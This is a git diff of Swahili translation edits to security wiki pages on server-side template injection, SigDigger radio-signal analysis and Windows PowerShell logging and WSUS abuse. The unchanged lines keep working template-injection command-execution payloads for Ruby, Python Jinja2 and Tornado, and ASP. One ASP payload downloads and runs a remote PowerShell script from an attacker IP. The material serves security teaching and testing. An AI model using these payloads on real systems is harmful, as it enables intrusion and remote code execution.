- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### ERB (Ruby)
|
||||
|
||||
@ -753,7 +753,7 @@ range.constructor(
|
||||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
@ -763,7 +763,7 @@ range.constructor(
|
||||
```
|
||||
{ %x|env| }
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
@ -773,11 +773,11 @@ range.constructor(
|
||||
|
||||
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Python
|
||||
|
||||
Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipaka kwa kukwepa sandboxes** katika python:
|
||||
Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zisizo na mipaka** katika python:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -806,7 +806,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
@ -814,7 +814,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
|
||||
|
||||
[Website rasmi](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
|
||||
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox ambayo ni hiari, inatumika sana na ina leseni ya BSD.
|
||||
|
||||
- `{{7*7}} = Hitilafu`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -856,7 +856,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
|
||||
|
||||
|
||||
```
|
||||
[**RCE haitegemei**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE si inategemea**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
@ -867,7 +867,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
|
||||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja vibaya**:
|
||||
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja**:
|
||||
|
||||
{{#ref}}
|
||||
jinja2-ssti.md
|
||||
@ -924,7 +924,7 @@ Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mcha
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**Taarifa Zaidi**
|
||||
**Maelezo Zaidi**
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
@ -942,7 +942,7 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
|
||||
|
||||
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
|
||||
|
||||
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kimepitishwa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha string "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
|
||||
|
||||
@ -958,27 +958,29 @@ vbnet Copy code
|
||||
|
||||
Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanya shambulizi hili, kama katika mfano uliopewa:
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanikisha hili, kama katika mfano uliopewa:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
return string(out)
|
||||
}
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
**Maelezo Zaidi**
|
||||
|
||||
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Maelezo Zaidi ya Uvunjaji
|
||||
### Matukio Zaidi
|
||||
|
||||
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa uvunjaji zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa matukio zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Msaada wa Kuunganishwa
|
||||
## Msaada Husika
|
||||
|
||||
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## SigDigger
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)ni mchanganuzi wa ishara za dijiti bure kwa GNU/Linux na macOS, ulioandaliwa kutoa taarifa za ishara za redio zisizojulikana. Inasaidia vifaa mbalimbali vya SDR kupitia SoapySDR, na inaruhusu demodulation inayoweza kubadilishwa ya ishara za FSK, PSK na ASK, kufungua video za analojia, kuchambua ishara zenye mzunguko na kusikiliza njia za sauti za analojia (yote kwa wakati halisi).
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)ni mchanganuzi wa ishara za dijitali bure kwa GNU/Linux na macOS, ulioandaliwa kutoa taarifa za ishara za redio zisizojulikana. Inasaidia vifaa mbalimbali vya SDR kupitia SoapySDR, na inaruhusu demodulation inayoweza kubadilishwa ya ishara za FSK, PSK na ASK, kufungua video za analojia, kuchambua ishara zenye mzunguko na kusikiliza vituo vya sauti vya analojia (yote kwa wakati halisi).
|
||||
|
||||
### Mipangilio ya Msingi
|
||||
|
||||
@ -18,7 +18,7 @@ Katika tabia ya GUI inapendekezwa kuwezesha mambo machache ikiwa PC yako inasaid
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa unagundua kuwa PC yako haikamata mambo jaribu kuzima OpenGL na kupunguza kiwango cha sampuli.
|
||||
> Ikiwa unagundua kuwa PC yako haitoi mambo jaribu kuzima OpenGL na kupunguza kiwango cha sampuli.
|
||||
|
||||
### Matumizi
|
||||
|
||||
@ -30,9 +30,9 @@ Katika tabia ya GUI inapendekezwa kuwezesha mambo machache ikiwa PC yako inasaid
|
||||
|
||||
.png>)
|
||||
|
||||
### Sambaza na njia ya redio
|
||||
### Sambaza na kituo cha redio
|
||||
|
||||
Na [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sambaza na channel unayotaka kusikia, pangilia chaguo "Baseband audio preview", pangilia upana wa bendi ili kupata taarifa zote zinazotumwa na kisha weka Tuner kwenye kiwango kabla ya kelele kuanza kuongezeka:
|
||||
Pamoja na [**SigDigger** ](https://github.com/BatchDrake/SigDigger) sambaza na kituo unachotaka kusikia, pangilia chaguo "Baseband audio preview", pangilia upana wa bendi ili kupata taarifa zote zinazotumwa na kisha weka Tuner kwenye kiwango kabla ya kelele kuanza kuongezeka:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -45,32 +45,34 @@ Na [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sambaza na channel u
|
||||
|
||||
.png>)
|
||||
|
||||
- **Baada ya kurejesha bits unaweza kuhitaji kuzifanyia kazi kwa namna fulani**. Kwa mfano, katika codification ya Manchester up+down itakuwa 1 au 0 na down+up itakuwa nyingine. Hivyo, jozi za 1s na 0s (ups na downs) zitakuwa 1 halisi au 0 halisi.
|
||||
- **Baada ya kurejesha bits unaweza kuhitaji kuzichakata kwa njia fulani**. Kwa mfano, katika codification ya Manchester up+down itakuwa 1 au 0 na down+up itakuwa nyingine. Hivyo, jozi za 1s na 0s (ups na downs) zitakuwa 1 halisi au 0 halisi.
|
||||
- Hata kama ishara inatumia codification ya Manchester (haiwezekani kupata zaidi ya 0s au 1s mbili mfululizo), unaweza **kupata 1s au 0s kadhaa pamoja katika preamble**!
|
||||
|
||||
### Kufichua aina ya moduli kwa IQ
|
||||
|
||||
Kuna njia 3 za kuhifadhi taarifa katika ishara: Kurekebisha **amplitude**, **frequency** au **phase**.\
|
||||
Ikiwa unachunguza ishara kuna njia tofauti za kujaribu kubaini ni ipi inatumika kuhifadhi taarifa (pata njia zaidi hapa chini) lakini moja nzuri ni kuangalia grafu ya IQ.
|
||||
Ikiwa unachunguza ishara kuna njia tofauti za kujaribu kubaini kinachotumika kuhifadhi taarifa (pata njia zaidi hapa chini) lakini njia nzuri ni kuangalia grafu ya IQ.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Kugundua AM**: Ikiwa katika grafu ya IQ inaonekana kwa mfano **duka 2** (labda moja katika 0 na nyingine katika amplitude tofauti), inaweza kumaanisha kuwa hii ni ishara ya AM. Hii ni kwa sababu katika grafu ya IQ umbali kati ya 0 na duka ni amplitude ya ishara, hivyo ni rahisi kuona amplitudes tofauti zinazo tumika.
|
||||
- **Kugundua PM**: Kama katika picha ya awali, ikiwa unapata mduka midogo isiyohusiana kati yao inaweza kumaanisha kuwa moduli ya phase inatumika. Hii ni kwa sababu katika grafu ya IQ, pembe kati ya nukta na 0,0 ni phase ya ishara, hivyo inamaanisha kuwa hatua 4 tofauti zinatumika.
|
||||
- Kumbuka kwamba ikiwa taarifa imefichwa katika ukweli kwamba phase inabadilishwa na sio katika phase yenyewe, huwezi kuona phases tofauti zikiwa zimejulikana wazi.
|
||||
- **Kugundua FM**: IQ haina uwanja wa kutambua frequencies (umbali hadi katikati ni amplitude na pembe ni phase).\
|
||||
Kwa hivyo, ili kutambua FM, unapaswa **kuona kimsingi duara tu** katika grafu hii.\
|
||||
Zaidi ya hayo, frequency tofauti "inawakilishwa" na grafu ya IQ kwa **kuongezeka kwa kasi katika duara** (hivyo katika SysDigger kuchagua ishara grafu ya IQ inajazwa, ikiwa unapata ongezeko au mabadiliko ya mwelekeo katika duara iliyoundwa inaweza kumaanisha kuwa hii ni FM):
|
||||
- **Kugundua PM**: Kama katika picha ya awali, ikiwa unapata duka ndogo zisizohusiana kati yao inaweza kumaanisha kuwa moduli ya awamu inatumika. Hii ni kwa sababu katika grafu ya IQ, pembe kati ya nukta na 0,0 ni awamu ya ishara, hivyo inamaanisha kuwa awamu 4 tofauti zinatumika.
|
||||
- Kumbuka kwamba ikiwa taarifa imefichwa katika ukweli kwamba awamu inabadilishwa na sio katika awamu yenyewe, huwezi kuona awamu tofauti zikiwa zimejulikana wazi.
|
||||
- **Kugundua FM**: IQ haina uwanja wa kutambua frequencies (umbali hadi katikati ni amplitude na pembe ni awamu).\
|
||||
Hivyo, ili kutambua FM, unapaswa **kuona kimsingi duka tu** katika grafu hii.\
|
||||
Zaidi ya hayo, frequency tofauti "inawakilishwa" na grafu ya IQ kwa **kuongezeka kwa kasi kwenye duka** (hivyo katika SysDigger kuchagua ishara grafu ya IQ inajazwa, ikiwa unapata ongezeko au mabadiliko ya mwelekeo katika duka lililotengenezwa inaweza kumaanisha kuwa hii ni FM):
|
||||
|
||||
## Mfano wa AM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Kufichua AM
|
||||
|
||||
#### Kuangalia envelope
|
||||
|
||||
Kuangalia taarifa za AM na [**SigDigger** ](https://github.com/BatchDrake/SigDigger)na kuangalia tu **envelop** unaweza kuona viwango tofauti vya amplitude. Ishara inayotumika inatuma mizunguko yenye taarifa katika AM, hii ndiyo jinsi mzunguko mmoja unavyoonekana:
|
||||
Kuangalia taarifa za AM kwa kutumia [**SigDigger** ](https://github.com/BatchDrake/SigDigger)na kuangalia tu **envelop** unaweza kuona viwango tofauti vya amplitude. Ishara inayotumika inatuma pulses zenye taarifa katika AM, hii ndiyo jinsi pulse moja inavyoonekana:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -84,15 +86,15 @@ Unaweza **kuchagua ishara nzima** ambapo taarifa inapatikana, chagua **Amplitude
|
||||
|
||||
.png>)
|
||||
|
||||
Kwa mfano, ikiwa unachagua Frequency badala ya Amplitude katika ishara hii ya AM unapata frequency 1 tu (hakuna njia taarifa iliyorekebishwa katika frequency inatumia frequency 1 tu).
|
||||
Kwa mfano, ikiwa unachagua Frequency badala ya Amplitude katika ishara hii ya AM unapata frequency 1 tu (hakuna njia taarifa iliyomodulishwa kwa frequency inatumia frequency 1 tu).
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa unapata frequencies nyingi huenda hii isiwe FM, labda frequency ya ishara ilibadilishwa tu kwa sababu ya channel.
|
||||
|
||||
#### Na IQ
|
||||
#### Pamoja na IQ
|
||||
|
||||
Katika mfano huu unaweza kuona jinsi kuna **duka kubwa** lakini pia **mambo mengi katikati.**
|
||||
Katika mfano huu unaweza kuona jinsi kuna **duka kubwa** lakini pia **point nyingi katikati.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,13 +108,13 @@ Chagua alama ndogo zaidi unayoweza kupata (hivyo unahakikisha ni 1 tu) na angali
|
||||
|
||||
#### Kwa kundi la alama
|
||||
|
||||
Unaweza pia kuashiria idadi ya alama unazopanga kuchagua na SigDigger itahesabu frequency ya alama 1 (alama zaidi zilizochaguliwa bora zaidi labda). Katika hali hii nilichagua alama 10 na "Selection freq" ni 1.004 Khz:
|
||||
Unaweza pia kuashiria idadi ya alama unazopanga kuchagua na SigDigger itahesabu frequency ya alama 1 (alama zaidi zilizochaguliwa bora zaidi). Katika hali hii nilichagua alama 10 na "Selection freq" ni 1.004 Khz:
|
||||
|
||||
.png>)
|
||||
|
||||
### Pata Bits
|
||||
|
||||
Baada ya kugundua hii ni ishara **iliyorekebishwa ya AM** na **kiwango cha alama** (na kujua kwamba katika kesi hii kitu kilichoinuka kinamaanisha 1 na kitu kilichoshuka kinamaanisha 0), ni rahisi sana **kupata bits** zilizowekwa katika ishara. Hivyo, chagua ishara yenye taarifa na pangilia sampuli na uamuzi na bonyeza sampuli (hakikisha kuwa **Amplitude** imechaguliwa, kiwango kilichogunduliwa cha **Symbol rate** kimepangiliwa na **Gadner clock recovery** imechaguliwa):
|
||||
Baada ya kugundua kuwa hii ni ishara **iliyomodulishwa ya AM** na **kiwango cha alama** (na kujua kuwa katika kesi hii kitu chochote kilichoinuka kinamaanisha 1 na kitu chochote kilichoshuka kinamaanisha 0), ni rahisi sana **kupata bits** zilizowekwa katika ishara. Hivyo, chagua ishara yenye taarifa na pangilia sampuli na uamuzi na bonyeza sampuli (hakikisha kuwa **Amplitude** imechaguliwa, kiwango kilichogunduliwa cha **Symbol rate** kimepangiliwa na **Gadner clock recovery** imechaguliwa):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -121,7 +123,7 @@ Baada ya kugundua hii ni ishara **iliyorekebishwa ya AM** na **kiwango cha alama
|
||||
- Katika **Fixed interval selection** unaashiria idadi ya intervals ambazo zinapaswa kuchaguliwa na inahesabu kiwango cha alama kutoka kwake
|
||||
- **Gadner clock recovery** kwa kawaida ndiyo chaguo bora, lakini bado unahitaji kuashiria kiwango fulani cha alama.
|
||||
|
||||
Bonyeza sampuli hii inatokea:
|
||||
Ukibonyeza sampuli hii inaonekana:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -135,27 +137,29 @@ Hatimaye **kuongeza** **Zoom** na **kubadilisha saizi ya Row** unaweza kuona bit
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa ishara ina zaidi ya 1 bit kwa alama (kwa mfano 2), SigDigger haina **njia ya kujua ni alama ipi** 00, 01, 10, 11, hivyo itatumia **mifumo tofauti ya kijivu** kuwakilisha kila moja (na ikiwa unakopa bits itatumia **nambari kutoka 0 hadi 3**, utahitaji kuzitibu).
|
||||
Ikiwa ishara ina zaidi ya 1 bit kwa alama (kwa mfano 2), SigDigger haina **njia ya kujua ni alama gani** 00, 01, 10, 11, hivyo itatumia **mifumo tofauti ya kijivu** kuwakilisha kila moja (na ikiwa unakopa bits itatumia **nambari kutoka 0 hadi 3**, utahitaji kuzitibu).
|
||||
|
||||
Pia, tumia **codifications** kama **Manchester**, na **up+down** inaweza kuwa **1 au 0** na down+up inaweza kuwa 1 au 0. Katika hali hizo unahitaji **kuzitibu ups zilizopatikana (1) na downs (0)** ili kubadilisha jozi za 01 au 10 kama 0s au 1s.
|
||||
Pia, tumia **codifications** kama **Manchester**, na **up+down** inaweza kuwa **1 au 0** na down+up inaweza kuwa 1 au 0. Katika hali hizo unahitaji **kuzitibu ups zilizopatikana (1) na downs (0)** ili kubadilisha jozi za 01 au 10 kuwa 0s au 1s.
|
||||
|
||||
## Mfano wa FM
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Kufichua FM
|
||||
|
||||
#### Kuangalia frequencies na waveform
|
||||
|
||||
Mfano wa ishara inayotuma taarifa iliyorekebishwa katika FM:
|
||||
Mfano wa ishara inayotuma taarifa iliyomodulishwa katika FM:
|
||||
|
||||
.png>)
|
||||
|
||||
Katika picha ya awali unaweza kuona vizuri kwamba **frequencies 2 zinatumika** lakini ikiwa unafanya **angalau** waveform huenda usiweze kutambua kwa usahihi frequencies 2 tofauti:
|
||||
Katika picha ya awali unaweza kuona vizuri kwamba **frequencies 2 zinatumika** lakini ikiwa unatazama **waveform** huenda usiweze kutambua kwa usahihi frequencies 2 tofauti**:
|
||||
|
||||
.png>)
|
||||
|
||||
Hii ni kwa sababu nilikamata ishara katika frequencies zote, hivyo moja ni karibu na nyingine kwa upande hasi:
|
||||
Hii ni kwa sababu nilikamata ishara katika frequencies zote mbili, hivyo moja ni karibu na nyingine kwa hasi:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -171,19 +175,19 @@ Kuangalia histogram ya frequency ya ishara yenye taarifa unaweza kwa urahisi kuo
|
||||
|
||||
.png>)
|
||||
|
||||
Katika kesi hii ikiwa unachunguza **Amplitude histogram** utapata **amplitude moja tu**, hivyo **haiwezi kuwa AM** (ikiwa unapata amplitudes nyingi huenda ni kwa sababu ishara imekuwa ikipoteza nguvu katika channel):
|
||||
Katika kesi hii ikiwa unatazama **Amplitude histogram** utapata **amplitude moja tu**, hivyo **haiwezi kuwa AM** (ikiwa unapata amplitudes nyingi huenda ni kwa sababu ishara imekuwa ikipoteza nguvu katika channel):
|
||||
|
||||
.png>)
|
||||
|
||||
Na hii ingekuwa histogram ya phase (ambayo inaonyesha wazi ishara haijarekebishwa katika phase):
|
||||
Na hii itakuwa histogram ya awamu (ambayo inaonyesha wazi kuwa ishara haijamodulishwa katika awamu):
|
||||
|
||||
.png>)
|
||||
|
||||
#### Na IQ
|
||||
#### Pamoja na IQ
|
||||
|
||||
IQ haina uwanja wa kutambua frequencies (umbali hadi katikati ni amplitude na pembe ni phase).\
|
||||
Kwa hivyo, ili kutambua FM, unapaswa **kuona kimsingi duara tu** katika grafu hii.\
|
||||
Zaidi ya hayo, frequency tofauti "inawakilishwa" na grafu ya IQ kwa **kuongezeka kwa kasi katika duara** (hivyo katika SysDigger kuchagua ishara grafu ya IQ inajazwa, ikiwa unapata ongezeko au mabadiliko ya mwelekeo katika duara iliyoundwa inaweza kumaanisha kuwa hii ni FM):
|
||||
IQ haina uwanja wa kutambua frequencies (umbali hadi katikati ni amplitude na pembe ni awamu).\
|
||||
Hivyo, ili kutambua FM, unapaswa **kuona kimsingi duka tu** katika grafu hii.\
|
||||
Zaidi ya hayo, frequency tofauti "inawakilishwa" na grafu ya IQ kwa **kuongezeka kwa kasi kwenye duka** (hivyo katika SysDigger kuchagua ishara grafu ya IQ inajazwa, ikiwa unapata ongezeko au mabadiliko ya mwelekeo katika duka lililotengenezwa inaweza kumaanisha kuwa hii ni FM):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -193,6 +197,6 @@ Unaweza kutumia **mbinu ile ile iliyotumika katika mfano wa AM** kupata kiwango
|
||||
|
||||
### Pata Bits
|
||||
|
||||
Unaweza kutumia **mbinu ile ile iliyotumika katika mfano wa AM** kupata bits mara tu umepata **ishara imejarekebishwa katika frequency** na **kiwango cha alama**.
|
||||
Unaweza kutumia **mbinu ile ile iliyotumika katika mfano wa AM** kupata bits mara tu umepata **ishara imejmodulishwa katika frequency** na **kiwango cha alama**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -112,7 +112,7 @@ Stop-Transcript
|
||||
```
|
||||
### PowerShell Module Logging
|
||||
|
||||
Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, yakijumuisha amri zilizotekelezwa, mwito wa amri, na sehemu za skripti. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.
|
||||
Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, yakijumuisha amri zilizotekelezwa, mwito wa amri, na sehemu za scripts. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.
|
||||
|
||||
Ili kuwezesha hili, fuata maelekezo katika sehemu ya "Transcript files" ya hati, ukichagua **"Module Logging"** badala ya **"Powershell Transcription"**.
|
||||
```bash
|
||||
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Rekodi kamili ya shughuli na maudhui yote ya utekelezaji wa script yanakamatwa, kuhakikisha kwamba kila block ya msimbo inarekodiwa inavyotekelezwa. Mchakato huu unahifadhi njia ya ukaguzi ya kina ya kila shughuli, ambayo ni muhimu kwa uchunguzi na kuchambua tabia mbaya. Kwa kurekodi shughuli zote wakati wa utekelezaji, ufahamu wa kina kuhusu mchakato unapatikana.
|
||||
Rekodi kamili ya shughuli na maudhui yote ya utekelezaji wa script inanakiliwa, kuhakikisha kwamba kila block ya msimbo inandikwa wakati inatekelezwa. Mchakato huu unahifadhi njia ya ukaguzi ya kina ya kila shughuli, muhimu kwa uchunguzi na kuchambua tabia mbaya. Kwa kuandika shughuli zote wakati wa utekelezaji, ufahamu wa kina kuhusu mchakato unapatikana.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
```
|
||||
Matukio ya kuandika kwa Script Block yanaweza kupatikana ndani ya Windows Event Viewer kwenye njia: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||||
Kusajili matukio ya Script Block yanaweza kupatikana ndani ya Windows Event Viewer kwenye njia: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||||
Ili kuona matukio 20 ya mwisho unaweza kutumia:
|
||||
```bash
|
||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
Unaweza kuathiri mfumo ikiwa masasisho hayajatolewa kwa kutumia http**S** bali http.
|
||||
|
||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo na SSL kwa kuendesha yafuatayo:
|
||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo ya SSL kwa kukimbia yafuatayo:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
@ -165,30 +165,32 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
Na ikiwa `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ni sawa na `1`.
|
||||
|
||||
Basi, **inaweza kutumika.** Ikiwa rejista ya mwisho ni sawa na 0, basi, kipengele cha WSUS kitaachwa.
|
||||
Basi, **inaweza kutumika.** Ikiwa rejista ya mwisho ni sawa na 0, basi, kiingilio cha WSUS kitaachwa.
|
||||
|
||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Hizi ni skripti za uhamasishaji za MiTM za kuingiza 'sasisho' za 'bandia' katika trafiki ya WSUS isiyo na SSL.
|
||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Hizi ni silaha za MiTM zilizotengenezwa kwa ajili ya kuingiza 'sasisho' za 'bandia' katika trafiki ya WSUS isiyo na SSL.
|
||||
|
||||
Soma utafiti hapa:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
